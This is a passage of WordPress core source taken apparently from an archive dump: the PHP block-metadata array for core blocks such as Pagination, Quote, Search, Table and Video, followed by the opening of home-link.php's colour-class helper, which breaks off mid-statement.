'__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ) ), 'query-pagination' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/query-pagination', 'title' => 'Pagination', 'category' => 'theme', 'parent' => array( 'core/query' ), 'description' => 'Displays a paginated navigation to next/previous set of posts, when applicable.', 'textdomain' => 'default', 'attributes' => array( 'paginationArrow' => array( 'type' => 'string', 'default' => 'none' ), 'showLabel' => array( 'type' => 'boolean', 'default' => true ) ), 'usesContext' => array( 'queryId', 'query' ), 'providesContext' => array( 'paginationArrow' => 'paginationArrow', 'showLabel' => 'showLabel' ), 'supports' => array( 'align' => true, 'reusable' => false, 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'layout' => array( 'allowSwitching' => false, 'allowInheriting' => false, 'default' => array( 'type' => 'flex' ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ), 'editorStyle' => 'wp-block-query-pagination-editor', 'style' => 'wp-block-query-pagination' ), 'query-pagination-next' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/query-pagination-next', 'title' => 'Next Page', 'category' => 'theme', 'parent' => array( 'core/query-pagination' ), 'description' => 'Displays the next posts page link.', 'textdomain' => 'default', 'attributes' => array( 'label' => array( 'type' => 'string' ) ), 'usesContext' => array( 'queryId', 'query', 'paginationArrow', 'showLabel', 'enhancedPagination' ), 'supports' => array( 'reusable' => false, 'html' => false, 'color' => array( 'gradients' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ) ), 'query-pagination-numbers' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/query-pagination-numbers', 'title' => 'Page Numbers', 'category' => 'theme', 'parent' => array( 'core/query-pagination' ), 'description' => 'Displays a list of page numbers for pagination', 'textdomain' => 'default', 'attributes' => array( 'midSize' => array( 'type' => 'number', 'default' => 2 ) ), 'usesContext' => array( 'queryId', 'query', 'enhancedPagination' ), 'supports' => array( 'reusable' => false, 'html' => false, 'color' => array( 'gradients' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ), 'editorStyle' => 'wp-block-query-pagination-numbers-editor' ), 'query-pagination-previous' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/query-pagination-previous', 'title' => 'Previous Page', 'category' => 'theme', 'parent' => array( 'core/query-pagination' ), 'description' => 'Displays the previous posts page link.', 'textdomain' => 'default', 'attributes' => array( 'label' => array( 'type' => 'string' ) ), 'usesContext' => array( 'queryId', 'query', 'paginationArrow', 'showLabel', 'enhancedPagination' ), 'supports' => array( 'reusable' => false, 'html' => false, 'color' => array( 'gradients' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ) ), 'query-title' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/query-title', 'title' => 'Query Title', 'category' => 'theme', 'description' => 'Display the query title.', 'textdomain' => 'default', 'attributes' => array( 'type' => array( 'type' => 'string' ), 'textAlign' => array( 'type' => 'string' ), 'level' => array( 'type' => 'number', 'default' => 1 ), 'showPrefix' => array( 'type' => 'boolean', 'default' => true ), 'showSearchTerm' => array( 'type' => 'boolean', 'default' => true ) ), 'supports' => array( 'align' => array( 'wide', 'full' ), 'html' => false, 'color' => array( 'gradients' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalDefaultControls' => array( 'fontSize' => true, 'fontAppearance' => true, 'textTransform' => true ) ) ), 'style' => 'wp-block-query-title' ), 'quote' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/quote', 'title' => 'Quote', 'category' => 'text', 'description' => 'Give quoted text visual emphasis. "In quoting others, we cite ourselves." — Julio Cortázar', 'keywords' => array( 'blockquote', 'cite' ), 'textdomain' => 'default', 'attributes' => array( 'value' => array( 'type' => 'string', 'source' => 'html', 'selector' => 'blockquote', 'multiline' => 'p', 'default' => '', '__experimentalRole' => 'content' ), 'citation' => array( 'type' => 'string', 'source' => 'html', 'selector' => 'cite', 'default' => '', '__experimentalRole' => 'content' ), 'align' => array( 'type' => 'string' ) ), 'supports' => array( 'anchor' => true, 'html' => false, '__experimentalOnEnter' => true, '__experimentalOnMerge' => true, 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true, 'fontAppearance' => true ) ), 'color' => array( 'gradients' => true, 'heading' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ) ), 'styles' => array( array( 'name' => 'default', 'label' => 'Default', 'isDefault' => true ), array( 'name' => 'plain', 'label' => 'Plain' ) ), 'editorStyle' => 'wp-block-quote-editor', 'style' => 'wp-block-quote' ), 'read-more' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/read-more', 'title' => 'Read More', 'category' => 'theme', 'description' => 'Displays the link of a post, page, or any other content-type.', 'textdomain' => 'default', 'attributes' => array( 'content' => array( 'type' => 'string' ), 'linkTarget' => array( 'type' => 'string', 'default' => '_self' ) ), 'usesContext' => array( 'postId' ), 'supports' => array( 'html' => false, 'color' => array( 'gradients' => true, 'text' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalLetterSpacing' => true, '__experimentalTextDecoration' => true, '__experimentalDefaultControls' => array( 'fontSize' => true, 'textDecoration' => true ) ), 'spacing' => array( 'margin' => array( 'top', 'bottom' ), 'padding' => true, '__experimentalDefaultControls' => array( 'padding' => true ) ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'width' => true, '__experimentalDefaultControls' => array( 'width' => true ) ) ), 'style' => 'wp-block-read-more' ), 'rss' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/rss', 'title' => 'RSS', 'category' => 'widgets', 'description' => 'Display entries from any RSS or Atom feed.', 'keywords' => array( 'atom', 'feed' ), 'textdomain' => 'default', 'attributes' => array( 'columns' => array( 'type' => 'number', 'default' => 2 ), 'blockLayout' => array( 'type' => 'string', 'default' => 'list' ), 'feedURL' => array( 'type' => 'string', 'default' => '' ), 'itemsToShow' => array( 'type' => 'number', 'default' => 5 ), 'displayExcerpt' => array( 'type' => 'boolean', 'default' => false ), 'displayAuthor' => array( 'type' => 'boolean', 'default' => false ), 'displayDate' => array( 'type' => 'boolean', 'default' => false ), 'excerptLength' => array( 'type' => 'number', 'default' => 55 ) ), 'supports' => array( 'align' => true, 'html' => false ), 'editorStyle' => 'wp-block-rss-editor', 'style' => 'wp-block-rss' ), 'search' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/search', 'title' => 'Search', 'category' => 'widgets', 'description' => 'Help visitors find your content.', 'keywords' => array( 'find' ), 'textdomain' => 'default', 'attributes' => array( 'label' => array( 'type' => 'string', '__experimentalRole' => 'content' ), 'showLabel' => array( 'type' => 'boolean', 'default' => true ), 'placeholder' => array( 'type' => 'string', 'default' => '', '__experimentalRole' => 'content' ), 'width' => array( 'type' => 'number' ), 'widthUnit' => array( 'type' => 'string' ), 'buttonText' => array( 'type' => 'string', '__experimentalRole' => 'content' ), 'buttonPosition' => array( 'type' => 'string', 'default' => 'button-outside' ), 'buttonUseIcon' => array( 'type' => 'boolean', 'default' => false ), 'query' => array( 'type' => 'object', 'default' => array( ) ), 'buttonBehavior' => array( 'type' => 'string', 'default' => 'expand-searchfield' ), 'isSearchFieldHidden' => array( 'type' => 'boolean', 'default' => false ) ), 'supports' => array( 'align' => array( 'left', 'center', 'right' ), 'color' => array( 'gradients' => true, '__experimentalSkipSerialization' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'interactivity' => true, 'typography' => array( '__experimentalSkipSerialization' => true, '__experimentalSelector' => '.wp-block-search__label, .wp-block-search__input, .wp-block-search__button', 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'width' => true, '__experimentalSkipSerialization' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'width' => true ) ), 'html' => false ), 'viewScript' => 'file:./view.min.js', 'editorStyle' => 'wp-block-search-editor', 'style' => 'wp-block-search' ), 'separator' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/separator', 'title' => 'Separator', 'category' => 'design', 'description' => 'Create a break between ideas or sections with a horizontal separator.', 'keywords' => array( 'horizontal-line', 'hr', 'divider' ), 'textdomain' => 'default', 'attributes' => array( 'opacity' => array( 'type' => 'string', 'default' => 'alpha-channel' ) ), 'supports' => array( 'anchor' => true, 'align' => array( 'center', 'wide', 'full' ), 'color' => array( 'enableContrastChecker' => false, '__experimentalSkipSerialization' => true, 'gradients' => true, 'background' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true ) ), 'spacing' => array( 'margin' => array( 'top', 'bottom' ) ) ), 'styles' => array( array( 'name' => 'default', 'label' => 'Default', 'isDefault' => true ), array( 'name' => 'wide', 'label' => 'Wide Line' ), array( 'name' => 'dots', 'label' => 'Dots' ) ), 'editorStyle' => 'wp-block-separator-editor', 'style' => 'wp-block-separator' ), 'shortcode' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/shortcode', 'title' => 'Shortcode', 'category' => 'widgets', 'description' => 'Insert additional custom elements with a WordPress shortcode.', 'textdomain' => 'default', 'attributes' => array( 'text' => array( 'type' => 'string', 'source' => 'raw' ) ), 'supports' => array( 'className' => false, 'customClassName' => false, 'html' => false ), 'editorStyle' => 'wp-block-shortcode-editor' ), 'site-logo' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/site-logo', 'title' => 'Site Logo', 'category' => 'theme', 'description' => 'Display an image to represent this site. Update this block and the changes apply everywhere.', 'textdomain' => 'default', 'attributes' => array( 'width' => array( 'type' => 'number' ), 'isLink' => array( 'type' => 'boolean', 'default' => true ), 'linkTarget' => array( 'type' => 'string', 'default' => '_self' ), 'shouldSyncIcon' => array( 'type' => 'boolean' ) ), 'example' => array( 'viewportWidth' => 500, 'attributes' => array( 'width' => 350, 'className' => 'block-editor-block-types-list__site-logo-example' ) ), 'supports' => array( 'html' => false, 'align' => true, 'alignWide' => false, 'color' => array( '__experimentalDuotone' => 'img, .components-placeholder__illustration, .components-placeholder::before', 'text' => false, 'background' => false ), 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ) ), 'styles' => array( array( 'name' => 'default', 'label' => 'Default', 'isDefault' => true ), array( 'name' => 'rounded', 'label' => 'Rounded' ) ), 'editorStyle' => 'wp-block-site-logo-editor', 'style' => 'wp-block-site-logo' ), 'site-tagline' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/site-tagline', 'title' => 'Site Tagline', 'category' => 'theme', 'description' => 'Describe in a few words what the site is about. The tagline can be used in search results or when sharing on social networks even if it’s not displayed in the theme design.', 'keywords' => array( 'description' ), 'textdomain' => 'default', 'attributes' => array( 'textAlign' => array( 'type' => 'string' ) ), 'example' => array( ), 'supports' => array( 'align' => array( 'wide', 'full' ), 'html' => false, 'color' => array( 'gradients' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ), 'editorStyle' => 'wp-block-site-tagline-editor' ), 'site-title' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/site-title', 'title' => 'Site Title', 'category' => 'theme', 'description' => 'Displays the name of this site. Update the block, and the changes apply everywhere it’s used. This will also appear in the browser title bar and in search results.', 'textdomain' => 'default', 'attributes' => array( 'level' => array( 'type' => 'number', 'default' => 1 ), 'textAlign' => array( 'type' => 'string' ), 'isLink' => array( 'type' => 'boolean', 'default' => true ), 'linkTarget' => array( 'type' => 'string', 'default' => '_self' ) ), 'example' => array( 'viewportWidth' => 500 ), 'supports' => array( 'align' => array( 'wide', 'full' ), 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'spacing' => array( 'padding' => true, 'margin' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true, 'lineHeight' => true, 'fontAppearance' => true, 'letterSpacing' => true, 'textTransform' => true ) ) ), 'editorStyle' => 'wp-block-site-title-editor', 'style' => 'wp-block-site-title' ), 'social-link' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/social-link', 'title' => 'Social Icon', 'category' => 'widgets', 'parent' => array( 'core/social-links' ), 'description' => 'Display an icon linking to a social media profile or site.', 'textdomain' => 'default', 'attributes' => array( 'url' => array( 'type' => 'string' ), 'service' => array( 'type' => 'string' ), 'label' => array( 'type' => 'string' ), 'rel' => array( 'type' => 'string' ) ), 'usesContext' => array( 'openInNewTab', 'showLabels', 'iconColor', 'iconColorValue', 'iconBackgroundColor', 'iconBackgroundColorValue' ), 'supports' => array( 'reusable' => false, 'html' => false ), 'editorStyle' => 'wp-block-social-link-editor' ), 'social-links' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/social-links', 'title' => 'Social Icons', 'category' => 'widgets', 'description' => 'Display icons linking to your social media profiles or sites.', 'keywords' => array( 'links' ), 'textdomain' => 'default', 'attributes' => array( 'iconColor' => array( 'type' => 'string' ), 'customIconColor' => array( 'type' => 'string' ), 'iconColorValue' => array( 'type' => 'string' ), 'iconBackgroundColor' => array( 'type' => 'string' ), 'customIconBackgroundColor' => array( 'type' => 'string' ), 'iconBackgroundColorValue' => array( 'type' => 'string' ), 'openInNewTab' => array( 'type' => 'boolean', 'default' => false ), 'showLabels' => array( 'type' => 'boolean', 'default' => false ), 'size' => array( 'type' => 'string' ) ), 'providesContext' => array( 'openInNewTab' => 'openInNewTab', 'showLabels' => 'showLabels', 'iconColor' => 'iconColor', 'iconColorValue' => 'iconColorValue', 'iconBackgroundColor' => 'iconBackgroundColor', 'iconBackgroundColorValue' => 'iconBackgroundColorValue' ), 'supports' => array( 'align' => array( 'left', 'center', 'right' ), 'anchor' => true, '__experimentalExposeControlsToChildren' => true, 'layout' => array( 'allowSwitching' => false, 'allowInheriting' => false, 'allowVerticalAlignment' => false, 'default' => array( 'type' => 'flex' ) ), 'color' => array( 'enableContrastChecker' => false, 'background' => true, 'gradients' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => false ) ), 'spacing' => array( 'blockGap' => array( 'horizontal', 'vertical' ), 'margin' => true, 'padding' => true, 'units' => array( 'px', 'em', 'rem', 'vh', 'vw' ), '__experimentalDefaultControls' => array( 'blockGap' => true, 'margin' => true, 'padding' => false ) ) ), 'styles' => array( array( 'name' => 'default', 'label' => 'Default', 'isDefault' => true ), array( 'name' => 'logos-only', 'label' => 'Logos Only' ), array( 'name' => 'pill-shape', 'label' => 'Pill Shape' ) ), 'editorStyle' => 'wp-block-social-links-editor', 'style' => 'wp-block-social-links' ), 'spacer' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/spacer', 'title' => 'Spacer', 'category' => 'design', 'description' => 'Add white space between blocks and customize its height.', 'textdomain' => 'default', 'attributes' => array( 'height' => array( 'type' => 'string', 'default' => '100px' ), 'width' => array( 'type' => 'string' ) ), 'usesContext' => array( 'orientation' ), 'supports' => array( 'anchor' => true, 'spacing' => array( 'margin' => array( 'top', 'bottom' ), '__experimentalDefaultControls' => array( 'margin' => true ) ) ), 'editorStyle' => 'wp-block-spacer-editor', 'style' => 'wp-block-spacer' ), 'table' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/table', 'title' => 'Table', 'category' => 'text', 'description' => 'Create structured content in rows and columns to display information.', 'textdomain' => 'default', 'attributes' => array( 'hasFixedLayout' => array( 'type' => 'boolean', 'default' => false ), 'caption' => array( 'type' => 'string', 'source' => 'html', 'selector' => 'figcaption', 'default' => '' ), 'head' => array( 'type' => 'array', 'default' => array( ), 'source' => 'query', 'selector' => 'thead tr', 'query' => array( 'cells' => array( 'type' => 'array', 'default' => array( ), 'source' => 'query', 'selector' => 'td,th', 'query' => array( 'content' => array( 'type' => 'string', 'source' => 'html' ), 'tag' => array( 'type' => 'string', 'default' => 'td', 'source' => 'tag' ), 'scope' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'scope' ), 'align' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'data-align' ), 'colspan' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'colspan' ), 'rowspan' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'rowspan' ) ) ) ) ), 'body' => array( 'type' => 'array', 'default' => array( ), 'source' => 'query', 'selector' => 'tbody tr', 'query' => array( 'cells' => array( 'type' => 'array', 'default' => array( ), 'source' => 'query', 'selector' => 'td,th', 'query' => array( 'content' => array( 'type' => 'string', 'source' => 'html' ), 'tag' => array( 'type' => 'string', 'default' => 'td', 'source' => 'tag' ), 'scope' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'scope' ), 'align' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'data-align' ), 'colspan' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'colspan' ), 'rowspan' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'rowspan' ) ) ) ) ), 'foot' => array( 'type' => 'array', 'default' => array( ), 'source' => 'query', 'selector' => 'tfoot tr', 'query' => array( 'cells' => array( 'type' => 'array', 'default' => array( ), 'source' => 'query', 'selector' => 'td,th', 'query' => array( 'content' => array( 'type' => 'string', 'source' => 'html' ), 'tag' => array( 'type' => 'string', 'default' => 'td', 'source' => 'tag' ), 'scope' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'scope' ), 'align' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'data-align' ), 'colspan' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'colspan' ), 'rowspan' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'rowspan' ) ) ) ) ) ), 'supports' => array( 'anchor' => true, 'align' => true, 'color' => array( '__experimentalSkipSerialization' => true, 'gradients' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), '__experimentalBorder' => array( '__experimentalSkipSerialization' => true, 'color' => true, 'style' => true, 'width' => true, '__experimentalDefaultControls' => array( 'color' => true, 'style' => true, 'width' => true ) ), '__experimentalSelector' => '.wp-block-table > table' ), 'styles' => array( array( 'name' => 'regular', 'label' => 'Default', 'isDefault' => true ), array( 'name' => 'stripes', 'label' => 'Stripes' ) ), 'editorStyle' => 'wp-block-table-editor', 'style' => 'wp-block-table' ), 'tag-cloud' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/tag-cloud', 'title' => 'Tag Cloud', 'category' => 'widgets', 'description' => 'A cloud of your most used tags.', 'textdomain' => 'default', 'attributes' => array( 'numberOfTags' => array( 'type' => 'number', 'default' => 45, 'minimum' => 1, 'maximum' => 100 ), 'taxonomy' => array( 'type' => 'string', 'default' => 'post_tag' ), 'showTagCounts' => array( 'type' => 'boolean', 'default' => false ), 'smallestFontSize' => array( 'type' => 'string', 'default' => '8pt' ), 'largestFontSize' => array( 'type' => 'string', 'default' => '22pt' ) ), 'styles' => array( array( 'name' => 'default', 'label' => 'Default', 'isDefault' => true ), array( 'name' => 'outline', 'label' => 'Outline' ) ), 'supports' => array( 'html' => false, 'align' => true, 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalLetterSpacing' => true ) ), 'editorStyle' => 'wp-block-tag-cloud-editor' ), 'template-part' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/template-part', 'title' => 'Template Part', 'category' => 'theme', 'description' => 'Edit the different global regions of your site, like the header, footer, sidebar, or create your own.', 'textdomain' => 'default', 'attributes' => array( 'slug' => array( 'type' => 'string' ), 'theme' => array( 'type' => 'string' ), 'tagName' => array( 'type' => 'string' ), 'area' => array( 'type' => 'string' ) ), 'supports' => array( 'align' => true, 'html' => false, 'reusable' => false ), 'editorStyle' => 'wp-block-template-part-editor' ), 'term-description' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/term-description', 'title' => 'Term Description', 'category' => 'theme', 'description' => 'Display the description of categories, tags and custom taxonomies when viewing an archive.', 'textdomain' => 'default', 'attributes' => array( 'textAlign' => array( 'type' => 'string' ) ), 'supports' => array( 'align' => array( 'wide', 'full' ), 'html' => false, 'color' => array( 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'padding' => true, 'margin' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ) ), 'text-columns' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/text-columns', 'title' => 'Text Columns (deprecated)', 'icon' => 'columns', 'category' => 'design', 'description' => 'This block is deprecated. Please use the Columns block instead.', 'textdomain' => 'default', 'attributes' => array( 'content' => array( 'type' => 'array', 'source' => 'query', 'selector' => 'p', 'query' => array( 'children' => array( 'type' => 'string', 'source' => 'html' ) ), 'default' => array( array( ), array( ) ) ), 'columns' => array( 'type' => 'number', 'default' => 2 ), 'width' => array( 'type' => 'string' ) ), 'supports' => array( 'inserter' => false ), 'editorStyle' => 'wp-block-text-columns-editor', 'style' => 'wp-block-text-columns' ), 'verse' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/verse', 'title' => 'Verse', 'category' => 'text', 'description' => 'Insert poetry. Use special spacing formats. Or quote song lyrics.', 'keywords' => array( 'poetry', 'poem' ), 'textdomain' => 'default', 'attributes' => array( 'content' => array( 'type' => 'string', 'source' => 'html', 'selector' => 'pre', 'default' => '', '__unstablePreserveWhiteSpace' => true, '__experimentalRole' => 'content' ), 'textAlign' => array( 'type' => 'string' ) ), 'supports' => array( 'anchor' => true, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'typography' => array( 'fontSize' => true, '__experimentalFontFamily' => true, 'lineHeight' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalDefaultControls' => array( 'fontSize' => true, 'fontAppearance' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), '__experimentalBorder' => array( 'radius' => true, 'width' => true, 'color' => true, 'style' => true ) ), 'style' => 'wp-block-verse', 'editorStyle' => 'wp-block-verse-editor' ), 'video' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/video', 'title' => 'Video', 'category' => 'media', 'description' => 'Embed a video from your media library or upload a new one.', 'keywords' => array( 'movie' ), 'textdomain' => 'default', 'attributes' => array( 'autoplay' => array( 'type' => 'boolean', 'source' => 'attribute', 'selector' => 'video', 'attribute' => 'autoplay' ), 'caption' => array( 'type' => 'string', 'source' => 'html', 'selector' => 'figcaption', '__experimentalRole' => 'content' ), 'controls' => array( 'type' => 'boolean', 'source' => 'attribute', 'selector' => 'video', 'attribute' => 'controls', 'default' => true ), 'id' => array( 'type' => 'number', '__experimentalRole' => 'content' ), 'loop' => array( 'type' => 'boolean', 'source' => 'attribute', 'selector' => 'video', 'attribute' => 'loop' ), 'muted' => array( 'type' => 'boolean', 'source' => 'attribute', 'selector' => 'video', 'attribute' => 'muted' ), 'poster' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'video', 'attribute' => 'poster' ), 'preload' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'video', 'attribute' => 'preload', 'default' => 'metadata' ), 'src' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'video', 'attribute' => 'src', '__experimentalRole' => 'content' ), 'playsInline' => array( 'type' => 'boolean', 'source' => 'attribute', 'selector' => 'video', 'attribute' => 'playsinline' ), 'tracks' => array( '__experimentalRole' => 'content', 'type' => 'array', 'items' => array( 'type' => 'object' ), 'default' => array( ) ) ), 'supports' => array( 'anchor' => true, 'align' => true, 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ) ), 'editorStyle' => 'wp-block-video-editor', 'style' => 'wp-block-video' ), 'widget-group' => array( 'apiVersion' => 3, 'name' => 'core/widget-group', 'category' => 'widgets', 'attributes' => array( 'title' => array( 'type' => 'string' ) ), 'supports' => array( 'html' => false, 'inserter' => true, 'customClassName' => true, 'reusable' => false ), 'editorStyle' => 'wp-block-widget-group-editor', 'style' => 'wp-block-widget-group' ) );blocks/home-link.php000064400000012305151202620300010405 0ustar00 array(), 'inline_styles' => '', ); // Text color. $has_named_text_color = array_key_exists( 'textColor', $context ); $has_custom_text_color = isset( $context['style']['color']['text'] ); // If has text color. if ( $has_custom_text_color || $has_named_text_color ) { // Add has-text-color class. $colors['css_classes'][] = 'has-text-color'; } if ( $has_named_text_color ) { // Add the color class. $colors['css_classes'][] = sprintf( 'has-%s-color', $context['textColor'] ); } elseif ( $has_custom_text_color ) { // Add the custom color inline style. $colors['inline_styles'] .= sprintf( 'color: %s;', $context['style']['color']['text'] ); } // Background color. $has_named_background_color = array_key_exists( 'backgroundColor', $context ); $has_custom_background_color = isset( $context['style']['color']['background'] ); // If has background color. if ( $has_custom_background_color || $has_named_background_color ) { // Add has-background class. $colors['css_classes'][] = 'has-background'; } if ( $has_named_background_color ) { // Add the background-color class. $colors['css_classes'][] = sprintf( 'has-%s-background-color', $context['backgroundColor'] ); } elseif ( $has_custom_background_color ) { // Add the custom 